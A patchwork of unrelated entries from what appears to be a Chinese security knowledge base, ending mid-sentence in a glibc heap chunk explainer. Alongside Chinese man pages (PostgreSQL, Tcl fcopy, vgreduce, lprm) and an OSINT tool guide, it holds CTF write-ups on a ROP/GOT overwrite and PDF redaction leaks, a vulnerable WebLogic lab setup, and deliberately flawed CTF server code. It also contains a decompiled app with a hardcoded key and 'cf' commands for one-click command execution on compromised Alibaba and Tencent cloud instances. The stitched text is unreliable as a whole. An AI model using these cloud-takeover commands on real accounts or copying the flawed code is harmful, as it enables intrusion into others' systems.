DROP OPERATOR 从数据库中删除用户定义操作符。 .SH "EXAMPLES 例子" .PP 下面命令定义一个新操作符,面积相等,用于 box 数据类型。 .sp .nf CREATE OPERATOR === ( LEFTARG = box, RIGHTARG = box, PROCEDURE = area_equal_procedure, COMMUTATOR = ===, NEGATOR = !==, RESTRICT = area_restriction_procedure, JOIN = area_join_procedure, HASHES, SORT1 = <<<, SORT2 = <<< -- 因为给出了排序操作符,索引隐含地有 MERGES。 -- LTCMP 和 GTCMP 分别假设是 < 和 > ); .sp .fi .SH "COMPATIBILITY 兼容性" .PP \fBCREATE OPERATOR\fR 是 PostgreSQL 扩展。 在SQL标准中没有 CREATE OPERATOR 语句。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
# Rescue Shell, 100p, exploit In this task we were given a binary showing a password prompt. There was a simple buffer overflow, allowing us to ROP and first dump GOT `fread` address, then overwrite it with libc single gadget offset.
sec-knowleage
version: '2' services: weblogic: image: vulhub/weblogic:12.2.1.3-2018 ports: - "7001:7001"
sec-knowleage
# CyberTank Research Miscellaneous A PDF file was attached. ## Author (25 points) > A secret document of CyberTank has leaked on the Internet, disclosing information on their latest research. > > Can you find out the author? > > Flag format: author name If we open the file with a PDF reader, we get a 2-page document with no author. Let's look at the metadata instead: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_Research# exiftool cybertank-research.pdf | grep Creator Creator Tool : Adobe Acrobat 7.0 Creator : Jake Cyba ``` ## Identifier (50 points) > A secret document of CyberTank has leaked on the Internet, disclosing information on their latest research. > > Can you find out the redacted ID stored in the document? > > Flag format: xxxx/xxx/xxxx The file contains a redacted part: ![](images/redacted.png) However, it is possible to mark this section with the mouse and copy it to a text editor, or user a tool such as `pdftotext`: ```console root@kali:/media/sf_CTFs/hackazon/CyberTank_Research# pdftotext cybertank-research.pdf root@kali:/media/sf_CTFs/hackazon/CyberTank_Research# cat cybertank-research.txt | grep ID CONFIDENTIAL ID: rd42/tlv/2020 ``` ## Postal code (75 points) > A secret document of CyberTank has leaked on the Internet, disclosing information on their latest research. > > Can you find out the postal code of the CyberTank company? > > Flag format: XXXX XXX The postal code does not appear in plaintext in the document, but the document contains the following barcode: ![](images/barcode.png) Using an [online barcode scanner](https://online-barcode-reader.inliteresearch.com/) we find out that this is a [Royal Mail 4-State Customer Code](https://en.wikipedia.org/wiki/RM4SCC) barcode which encodes the following post code: ``` GL1337HF ``` The answer that was accepted is `GL13 37HF`.
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: fcopy.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: fcopy.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH fcopy 3tcl 8.0 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME fcopy \- 从一个通道向另一个复制数据 .SH "总览 SYNOPSIS" \fBfcopy \fIinchan\fR \fIoutchan\fR ?\fB\-size \fIsize\fR? ?\fB\-command \fIcallback\fR? .BE .SH "描述 DESCRIPTION" .PP \fBfcopy\fR 命令从一个 I/O 通道 \fIinchan\fR 向另一个 I/O 通道 \fIoutchan\fR 复制数据。\fBfcopy\fR 命令在 Tcl I/O 系统中起到缓冲的杠杆作用(leverage),它避免额外的复制,并且在向慢速目标如网络套接口复制大文件的时候避免在主存中缓冲过多的数据。 .PP \fBfcopy\fR 命令从 \fIinchan\fR 传输数据直到文件结束或传输完 \fIsize\fR字节。如果没有给出 \fB-size\fR 参数,则复制持续到文件结束。从 \fIinchan\fR读的所有数据都复制到 \fIoutchan\fR。如果没有 \fB-command\fR选项,在复制完成并返回写到 \fIoutchan \fR的字节数之前 \fBfcopy\fR 将阻塞。 .PP \fB-command\fR 参数使 \fBfcopy\fR在后台工作。在这种情况下它立即返回,并在复制完成时调用 \fIcallback\fR。调用 \fIcallback\fR 加上一个或两个额外的参数来指示有多少字节被写到了 \fIoutchan\fR。在后台复制期间如果发生了一个错误,第二个参数是与错误相关联的错误字符串。使用后台复制不需要把 \fIinchan\fR 或 \fIoutchan\fR 转换成非阻塞模式;\fBfcopy\fR 命令将自动关照这些。但是,需要使用 \fBvwait\fR 命令或使用 Tk 进入事件循环。 .PP 在后台复制期间不允许对 \fIinchan\fR 或 \fIoutchan \fR做其他 I/O 操作。如果在复制进行期间 \fIinchan\fR 或 \fIoutchan\fR 中被关闭,停止当前的复制并且不做命令回调。如果 \fIinchan\fR被关闭,则写出为 \fIoutchan\fR 而排队(queue)的所有数据。 .PP 注意在一个命令复制期间 \fIinchan\fR 可以变成可读的。在一个后台复制期间你应该关闭任何 \fBfileevent\fR句柄,这样这些句柄不与复制相触及(interfere)。通过一个 \fBfileevent\fR句柄的任何 I/O 尝试将得到一个 "channel busy" 错误。 .PP .PP \fBFcopy\fR 依据 \fIinchan\fR 和 \fIoutchan \fR的 \fB-translation\fR选项来转换它们中的文件行结束序列。参见\fBfconfigure\fR的手册条目来得到 \fB-translation\fR 选项的详情。转换意味着从 \fIinchan\fR 读到的字节数与写到 \fIoutchan\fR.的字节数可能不同。只报告写到 \fIoutchan\fR中的字节数。要么作为同步的 \fBfcopy\fR 的返回值,要么作为给异步的 \fBfcopy \fR的回调的参数。 .SH "范例 EXAMPLE" .PP 第一个例子展示了回调如何得到传递给它的传输了的字节数。它还使用 vwait 来使应用进入事件循环。当然,不使用回调也能做出这个简化了的例子。 .DS proc Cleanup {in out bytes {error {}}} { global total set total $bytes close $in close $out if {[string length $error] != 0} { # error occurred during the copy } } set in [open $file1] set out [socket $server $port] fcopy $in $out -command [list Cleanup $in $out] vwait total .DE .PP 第二个例子按块(chunk)复制并在命令回调中测试文件结束。 .DS proc CopyMore {in out chunk bytes {error {}}} { global total done incr total $bytes if {([string length $error] != 0) || [eof $in] { set done $total close $in close $out } else { fcopy $in $out -command [list CopyMore $in $out $chunk] \\ -size $chunk } } set in [open $file1] set out [socket $server $port] set chunk 1024 set total 0 fcopy $in $out -command [list CopyMore $in $out $chunk] -size $chunk vwait done .DE .SH "参见 SEE ALSO" eof(n), fblocked(n), fconfigure(n) .SH "关键字 KEYWORDS" blocking, channel, end of line, end of file, nonblocking, read, translation .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/08/02 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
#!/usr/bin/python import sys import hashlib import logging import SocketServer import base64 from flag import secret from checksum_gen import WinternizChecksum logger = logging.getLogger() logger.setLevel(logging.INFO) ch = logging.StreamHandler(sys.stdout) ch.setFormatter(logging.Formatter("%(asctime)s - %(levelname)s - %(message)s")) logger.addHandler(ch) HASH_LENGTH=32 CHECKSUM_LENGTH=4 MESSAGE_LENGTH=32 CHANGED_MESSAGE_LENGTH=MESSAGE_LENGTH+CHECKSUM_LENGTH BITS_PER_BYTE=8 show_flag_command="show flag"+(MESSAGE_LENGTH-9)*"\xff" admin_command="su admin"+(MESSAGE_LENGTH-8)*"\x00" PORT = 1337 def extend_signature_key(initial_key): full_sign_key=str(initial_key) for i in range(0,255): for j in range(0,CHANGED_MESSAGE_LENGTH): full_sign_key+=hashlib.sha256(full_sign_key[j*HASH_LENGTH+i*CHANGED_MESSAGE_LENGTH*HASH_LENGTH:(j+1)*HASH_LENGTH+i*CHANGED_MESSAGE_LENGTH*HASH_LENGTH]).digest() return full_sign_key class Signer: def __init__(self): with open("/dev/urandom","rb") as f: self.signkey=f.read(HASH_LENGTH*CHANGED_MESSAGE_LENGTH) self.full_sign_key=extend_signature_key(self.signkey) self.wc=WinternizChecksum() self.user_is_admin=False def sign_byte(self,a,ind): assert(0<=a<=255) signature=self.full_sign_key[(CHANGED_MESSAGE_LENGTH*a+ind)*HASH_LENGTH:(CHANGED_MESSAGE_LENGTH*a+ind+1)*HASH_LENGTH] return signature def sign(self,data): decoded_data=base64.b64decode(data) if len(decoded_data)>MESSAGE_LENGTH: return "Error: message too large" if decoded_data==show_flag_command or decoded_data==admin_command: return "Error: nice try, punk" decoded_data+=(MESSAGE_LENGTH-len(decoded_data))*"\xff" decoded_data+=self.wc.generate(decoded_data) signature="" for i in range(0, CHANGED_MESSAGE_LENGTH): signature+=self.sign_byte(ord(decoded_data[i]),i) return base64.b64encode(decoded_data)+','+base64.b64encode(signature) def execute_command(self,data_sig): (data_with_checksum, signature)=map(base64.b64decode,data_sig.split(',')) data=data_with_checksum[:MESSAGE_LENGTH] data_checksummed=data+self.wc.generate(data) if data_checksummed!=data_with_checksum: return "Error: wrong checksum!" signature_for_comparison="" for i in range(0, CHANGED_MESSAGE_LENGTH): signature_for_comparison+=self.sign_byte(ord(data_with_checksum[i]),i) if signature!=signature_for_comparison: return "Error: wrong signature!" if data==admin_command: self.user_is_admin=True return "Hello, admin" if data==show_flag_command: if self.user_is_admin: return "The flag is %s"%secret else: return "Only admin can get the flag\n" else: return "Unknown command\n" def process(data,signer): [query,params]=data.split(':') params=params.rstrip("\n") if query=="hello": return "Hi" elif query=="sign": return signer.sign(params) elif query=="execute_command": return signer.execute_command(params) else: return "bad query" class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler): def handle(self): signer=Signer() logger.info("%s client sconnected" % self.client_address[0]) self.request.sendall("Welcome to the Tiny Signature Server!\nYou can sign any messages except for controlled ones\n") while True: data = self.request.recv(2048) try: ret = process(data,signer) except Exception: ret = 'Error' try: self.request.sendall(ret + '\n') except Exception: break def finish(self): logger.info("%s client disconnected" % self.client_address[0]) class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass if __name__ == '__main__': server = ThreadedTCPServer(('0.0.0.0', PORT), ThreadedTCPRequestHandler) server.allow_reuse_address = True server.serve_forever()
sec-knowleage
--- title: 一键执行三要素 --- ## 在阿里云上一键执行三要素 使用 `-b` 命令一键执行三要素命令,快速证明权限获取,方便 HVV ```bash cf alibaba ecs exec -b ``` 指定单个实例获取三要素 ```bash cf alibaba ecs exec -b -i i-abcdefghijklmn ``` ## 在腾讯云上一键执行三要素 ### 云服务器 ```bash cf tencent cvm exec -b ``` ### 轻量应用服务器 ```bash cf tencent lh exec -b ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年9月7日" } } </script>
sec-knowleage
vgreduce === 从卷组中删除物理卷 ## 补充说明 **vgreduce命令** 通过删除LVM卷组中的物理卷来减少卷组容量。不能删除LVM卷组中剩余的最后一个物理卷。 ### 语法 ```shell vgreduce(选项)(参数) ``` ### 选项 ```shell -a:如果命令行中没有指定要删除的物理卷,则删除所有的空物理卷; --removemissing:删除卷组中丢失的物理卷,使卷组恢复正常状态。 ``` ### 参数 * 卷组:指定要操作的卷组名称; * 物理卷列表:指定要删除的物理卷列表。 ### 实例 使用vgreduce命令从卷组"vg2000"中移除物理卷`/dev/sdb2`。在命令行中输入下面的命令: ```shell [root@localhost ~]# vgreduce vg2000 /dev/sdb2 #将物理卷"/dev/sdb2"从卷组"vg2000"中删除 ``` 输出信息如下: ```shell Removed "/dev/sdb2" from volume group "vg2000" ```
sec-knowleage
package com.hacker101.level13; import android.net.Uri; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.webkit.WebView; import android.webkit.WebViewClient; import java.math.BigInteger; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class MainActivity extends AppCompatActivity { protected void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2131296284); WebView webView = (WebView)findViewById(2131165328); webView.setWebViewClient(new WebViewClient()); Uri uri = getIntent().getData(); str1 = "http://127.0.0.1/xxxxxxxxxx/appRoot"; String str3 = ""; if (uri != null) { str3 = uri.toString().substring(28); StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append("http://127.0.0.1/xxxxxxxxxx/appRoot"); stringBuilder.append(str3); str1 = stringBuilder.toString(); } String str2 = str1; if (!str1.contains("?")) { StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append(str1); stringBuilder.append("?"); str2 = stringBuilder.toString(); } try { MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); messageDigest.update("s00p3rs3cr3tk3y".getBytes(StandardCharsets.UTF_8)); messageDigest.update(str3.getBytes(StandardCharsets.UTF_8)); byte[] arrayOfByte = messageDigest.digest(); BigInteger bigInteger = new BigInteger(); this(1, arrayOfByte); String str = String.format("%064x", new Object[] { bigInteger }); StringBuilder stringBuilder = new StringBuilder(); this(); stringBuilder.append(str2); stringBuilder.append("&hash="); stringBuilder.append(str); webView.loadUrl(stringBuilder.toString()); } catch (NoSuchAlgorithmException str1) { str1.printStackTrace(); } } }
sec-knowleage
--- title: Automater categories: Information Gathering tags: [information gathering,kali linux,automater] date: 2016-10-19 02:31:51 --- 0x00 Automater介绍 ------------- Automater是一个URL /域,IP地址和Md5哈希开源情报工具,旨在为入侵分析师使分析过程更容易。 给定一个目标(URL,IP或HASH)或一个完整的目标文件,Automater将返回来自如下来源的相关结果:IPvoid.com,Robtex.com,Fortiguard.com,unshorten.me,Urlvoid.com,Labs。 alienvault.com,ThreatExpert,VxVault和VirusTotal。 工具来源:http://www.tekdefense.com/automater/ [Automater主页][1] | [Kali AutomaterRepo仓库][2] - 作者:TekDefense.com - 证书:其他 0x01 Automater功能 --------------- automater - 一个IP和URL分析工具 ```shell root@kali:~# automater -h 用法:Automater.py [-h] [-o OUTPUT] [-b] [-f CEF] [-w WEB] [-c CSV]                     [-d DELAY] [-s SOURCE] [--proxy PROXY] [-a USERAGENT] [-V]                     [-r] [-v]                     target IP,URL和哈希被动式分析工具 位置参数:   target 列出一个IP地址(接受CIDR或短划线符号),                         URL或哈希以查询或传递文件的文件名                         包含要查询的IP地址信息,URL或哈希                         用换行符分隔。 可选参数:   -h,--help显示此帮助信息并退出   -o OUTPUT,--output OUTPUT                         此选项将结果输出到文件。   -b,--bot此选项将输出bot的最小化结果。   -f CEF,--cef CEF此选项将结果输出为CEF格式文件。   -w WEB,--web WEB此选项将结果输出到HTML文件。   -c CSV,--csv CSV此选项将结果输出到CSV文件。   -d DELAY,-​​-delay DELAY                         这将改变延迟到输入的秒数。                         默认值为2。 -s SOURCE, --source SOURCE                         此选项将仅针对特定源引擎运行目标以拉取关联的域                         选项在XML配置文件中的siteelement的name属性中定义                         可以是由分号分隔的名称列表。   --proxy PROXY 此选项将设置要使用的代理(例如 proxy.example.com:8080)   -a USERAGENT,--useragent USERAGENT                         此选项允许用户设置正在使用的Web服务的user-agent                         默认情况下,user-agent设置为Automatic / version   -V,--vercheck 此选项检查并报告Automator的版本                         检查包含在Automator中的每个python模块                         默认值(no -V)为False   -r,--refreshxml 此选项刷新远程GitHub站点上的tekdefense.xml文件。 默认值(no -r)为False。   -v,--verbose 此选项将消息打印到屏幕。 默认值(no -v)为False。 ``` 0x02 Automater用法示例 ----------------- ```shell root@kali:~# automater -w test -v 210.41.224.132 ____________________ Results found for: 210.41.224.132 ____________________ [+] A records from Robtex.com: www[.]cuit.edu.cn No results found in the FNet URL [+] VT ASN: 4538 [+] VT Country: CN [+] VT AS Owner: No results found [+] VT pDNS: ('2015-03-23 00:00:00', 'www[.]cuit.edu.cn') [+] VT Malware: No results found [+] VT Mal URLs: No results found [+] Blacklist from IPVoid: No results found [+] ISP from IPvoid: China Education and Research Networ... [+] Country from IPVoid: (CN) China [+] Malc0de Date: No results found [+] Malc0de IP: No results found [+] Malc0de Country: No results found [+] Malc0de ASN: No results found [+] Malc0de ASN Name: No results found [+] Malc0de MD5: No results found [+] Reputation Authority Score: 50/100 [+] FreeGeoIP Country Name: China [+] FreeGeoIP Region Name: Sichuan [+] FreeGeoIP City: Chengdu [+] FreeGeoIP Zipcode: No results found [+] FreeGeoIP Latitude: 30.6667 [+] FreeGeoIP Longitude: 104.0667 [+] SANS total target IPs seen: No results found [+] SANS total packets blocked: No results found [+] SANS last seen on: No results found [+] SANS first seen on: No results found No results found in the THIP No results found in the TekHP [+] ProjectHoneypot activity type: No results found [+] ProjectHoneypot first mail received: No results found [+] ProjectHoneypot last mail received: No results found [+] ProjectHoneypot total mails received: No results found [+] ProjectHoneypot spider first seen: No results found [+] ProjectHoneypot spider last seen: No results found [+] ProjectHoneypot spider sightings: No results found [+] ProjectHoneypot user-agent sightings: No results found [+] ProjectHoneypot first post on: No results found [+] ProjectHoneypot last post on: No results found [+] ProjectHoneypot form posts: No results found [+] ProjectHoneypot first rule break on: No results found [+] ProjectHoneypot last rule break on: No results found [+] ProjectHoneypot rule break sightings: No results found [+] ProjectHoneypot first dictionary attack on: No results found [+] ProjectHoneypot last dictionary attack on: No results found [+] ProjectHoneypot dictionary attack sightings: No results found [+] ProjectHoneypot harvester first seen: No results found [+] ProjectHoneypot harvester last seen: No results found [+] ProjectHoneypot harvester sightings: No results found [+] ProjectHoneypot harvester results: No results found [+] Generating HTML output: test test Generated ``` [1]: http://www.tekdefense.com/automater/ [2]: http://git.kali.org/gitweb/?p=packages/automater.git;a=summary
sec-knowleage
lprm === 删除打印队列中的打印任务 ## 补充说明 **lprm命令** 用于删除打印队列中的打印任务。尚未完成的打印机任务会被放在打印机贮列之中,这个命令可用来将常未送到打印机的任务取消。 ### 语法 ```shell lprm(选项)(参数) ``` ### 选项 ```shell -E:与打印服务器连接时强制使用加密; -P:指定接受打印任务的目标打印机; -U:指定可选的用户名。 ``` ### 参数 打印任务:指定需删除的打印任务号。 ### 实例 将打印机hpprint中的第102号任务移除: ```shell lprm -Phpprint 102 ``` 将第101号任务由预设打印机中移除: ```shell lprm 101 ```
sec-knowleage
### 堆相关数据结构 堆的操作就这么复杂,那么在 glibc 内部必然也有精心设计的数据结构来管理它。与堆相应的数据结构主要分为 - 宏观结构,包含堆的宏观信息,可以通过这些数据结构索引堆的基本信息。 - 微观结构,用于具体处理堆的分配与回收中的内存块。 ### 堆相关微观结构malloc_chunk概述 在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。当程序申请的 chunk 被 free 后,会被加入到相应的空闲管理列表中。 非常有意思的是,**无论一个 chunk 的大小如何,处于分配状态还是释放状态,它们都使用一个统一的结构**。虽然它们使用了同一个数据结构,但是根据是否被释放,它们的表现形式会有所不同。 malloc_chunk 的结构如下 ```c++ /* This struct declaration is misleading (but accurate and necessary). It declares a "view" into memory allowing access to necessary fields at known offsets from a given base. See explanation below. */ struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; ``` 首先,这里给出一些必要的解释 INTERNAL_SIZE_T,SIZE_SZ,MALLOC_ALIGN_MASK: ```c /* INTERNAL_SIZE_T is the word-size used for internal bookkeeping of chunk sizes. The default version is the same as size_t. While not strictly necessary, it is best to define this as an unsigned type, even if size_t is a signed type. This may avoid some artificial size limitations on some systems. On a 64-bit machine, you may be able to reduce malloc overhead by defining INTERNAL_SIZE_T to be a 32 bit `unsigned int' at the expense of not being able to handle more than 2^32 of malloced space. If this limitation is acceptable, you are encouraged to set this unless you are on a platform requiring 16byte alignments. In this case the alignment requirements turn out to negate any potential advantages of decreasing size_t word size. Implementors: Beware of the possible combinations of: - INTERNAL_SIZE_T might be signed or unsigned, might be 32 or 64 bits, and might be the same width as int or as long - size_t might have different width and signedness as INTERNAL_SIZE_T - int and long might be 32 or 64 bits, and might be the same width To deal with this, most comparisons and difference computations among INTERNAL_SIZE_Ts should cast them to unsigned long, being aware of the fact that casting an unsigned int to a wider long does not sign-extend. (This also makes checking for negative numbers awkward.) Some of these casts result in harmless compiler warnings on some systems. */ #ifndef INTERNAL_SIZE_T # define INTERNAL_SIZE_T size_t #endif /* The corresponding word size. */ #define SIZE_SZ (sizeof (INTERNAL_SIZE_T)) /* The corresponding bit mask value. */ #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) ``` 一般来说,size_t 在 64 位中是 64 位无符号整数,32 位中是 32 位无符号整数。 每个字段的具体的解释如下 - **prev_size**, 如果该 chunk 的**物理相邻的前一地址chunk(两个指针的地址差值为前一chunk大小)**是空闲的话,那该字段记录的是前一个 chunk 的大小(包括 chunk 头)。否则,该字段可以用来存储物理相邻的前一个chunk 的数据。**这里的前一 chunk 指的是较低地址的 chunk **。 - **size** ,该 chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位对 chunk 的大小没有影响,它们从高到低分别表示 - NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1表示不属于,0表示属于。 - IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。 - PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的P位都会被设置为1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲chunk之间的合并。 - **fd,bk**。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下 - fd 指向下一个(非物理相邻)空闲的 chunk - bk 指向上一个(非物理相邻)空闲的 chunk - 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理 - **fd_nextsize, bk_nextsize**,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。 - fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。 - bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。 - 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。**这样做可以避免在寻找合适chunk 时挨个遍历。** 一个已经分配的 chunk 的样子如下。**我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。** 当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前chunk使用。**这就是chunk中的空间复用。** ```c++ chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |A|M|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_size() bytes) . next . | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | (size of chunk, but used for application data) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of next chunk, in bytes |A|0|1| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ``` 被释放的 chunk 被记录在链表中(可能是循环双向链表,也可能是单向链表)。具体结构如下 ```c++ chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |A|0|P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer 